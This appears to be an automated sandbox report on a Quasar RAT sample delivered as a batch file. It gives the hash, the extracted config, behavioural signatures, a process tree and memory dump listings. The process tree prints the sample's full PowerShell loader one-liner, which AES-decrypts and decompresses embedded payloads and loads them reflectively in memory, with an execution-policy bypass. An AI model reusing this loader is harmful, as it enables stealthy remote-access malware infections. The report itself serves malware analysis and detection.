Analysis
- max time kernel
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
14/08/2026, 01:38
General
- Target Client-built-localhost.bat
- Size 3.2MB
- Sample260814-b2v7hasdrc
- SHA256 5bfad3145f59ef14d41f76683c5ae8dc04c6da544a66197d8586a7488a0b7386
Malware Config
Extracted
-
quasar
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built-localhost.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function MfiKVofW($param_var){$aes_var=[System.Security.Cryptography.Aes]::Create();$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$aes_var.Key=[System.Convert]::FromBase64String('KUc2+YIIF3zqQAAIefNzXt4UI72YHEH9SdP6yOxpaWg=');$aes_var.IV=[System.Convert]::FromBase64String('cT0d/EunE8Ydk/dJYsIuJw==');$decryptor_var=$aes_var.CreateDecryptor();$return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);$decryptor_var.Dispose();$aes_var.Dispose();$return_var;}function MnTNSfJH($param_var){$cYvFD=New-Object System.IO.MemoryStream(,$param_var);$sfnDr=New-Object System.IO.MemoryStream;$DzUzX=New-Object System.IO.Compression.GZipStream($cYvFD, [IO.Compression.CompressionMode]::Decompress);$DzUzX.CopyTo($sfnDr);$DzUzX.Dispose();$cYvFD.Dispose();$sfnDr.Dispose();$sfnDr.ToArray();}function BXUvWGSF($param_var,$param2_var){$HhpcD=[System.Reflection.Assembly]::Load([byte[]]$param_var);$bRRjh=$HhpcD.EntryPoint;$bRRjh.Invoke($null, $param2_var);}$srOkw = $env:njIRwf;$host.UI.RawUI.WindowTitle = $srOkw;$PFMxP=[System.IO.File]::ReadAllText($srOkw).Split([Environment]::NewLine);foreach ($NgmMa in $PFMxP) {if ($NgmMa.StartsWith(':: ')){$CIPJO=$NgmMa.Substring(3);break;}}$payloads_var=[string[]]$CIPJO.Split('\');$payload1_var=MnTNSfJH (MfiKVofW ([Convert]::FromBase64String($payloads_var[0])));$payload2_var=MnTNSfJH (MfiKVofW ([Convert]::FromBase64String($payloads_var[1])));BXUvWGSF $payload1_var $null;BXUvWGSF $payload2_var (,[string[]] ($env:JAszYo)); "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
type_registry_log.txt
type_registry_log.txt
type_registry_log.txt
memory/5584-20-0x0000021ACB4E0000-0x0000021ACB50A000-memory.dmp
memory/5584-6-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-7-0x0000021AE4080000-0x0000021AE40C8000-memory.dmp
memory/5584-8-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-9-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-10-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-11-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-12-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-13-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-14-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-15-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-16-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-17-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-18-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-19-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-0-0x00007FFB91F7F000-0x00007FFB91F80000-memory.dmp
memory/5584-22-0x0000021AEC510000-0x0000021AEC7B0000-memory.dmp
memory/5584-21-0x0000021AEC2A0000-0x0000021AEC50C000-memory.dmp
memory/5584-5-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-24-0x0000021AED690000-0x0000021AED6E0000-memory.dmp
memory/5584-25-0x0000021AED930000-0x0000021AED9E2000-memory.dmp
memory/5584-26-0x0000021AEDBC0000-0x0000021AEDD82000-memory.dmp
memory/5584-27-0x0000021AEC7F0000-0x0000021AEC82A000-memory.dmp
memory/5584-28-0x0000021AEC830000-0x0000021AEC87A000-memory.dmp
memory/5584-29-0x0000021AED6E0000-0x0000021AED72E000-memory.dmp
memory/5584-30-0x0000021AED760000-0x0000021AED786000-memory.dmp
memory/5584-31-0x0000021AED730000-0x0000021AED756000-memory.dmp
memory/5584-32-0x0000021AED760000-0x0000021AED794000-memory.dmp
memory/5584-23-0x0000021ACB520000-0x0000021ACB53E000-memory.dmp
memory/5584-2-0x0000021ACB600000-0x0000021ACB622000-memory.dmp
memory/5584-1-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-175-0x0000021AEDA90000-0x0000021AEDABA000-memory.dmp
memory/5584-174-0x0000021AEDA40000-0x0000021AEDA8A000-memory.dmp
memory/5584-173-0x0000021AED9F0000-0x0000021AEDA3C000-memory.dmp
memory/5584-177-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp
memory/5584-178-0x00007FFB91DF0000-0x00007FFB92794000-memory.dmp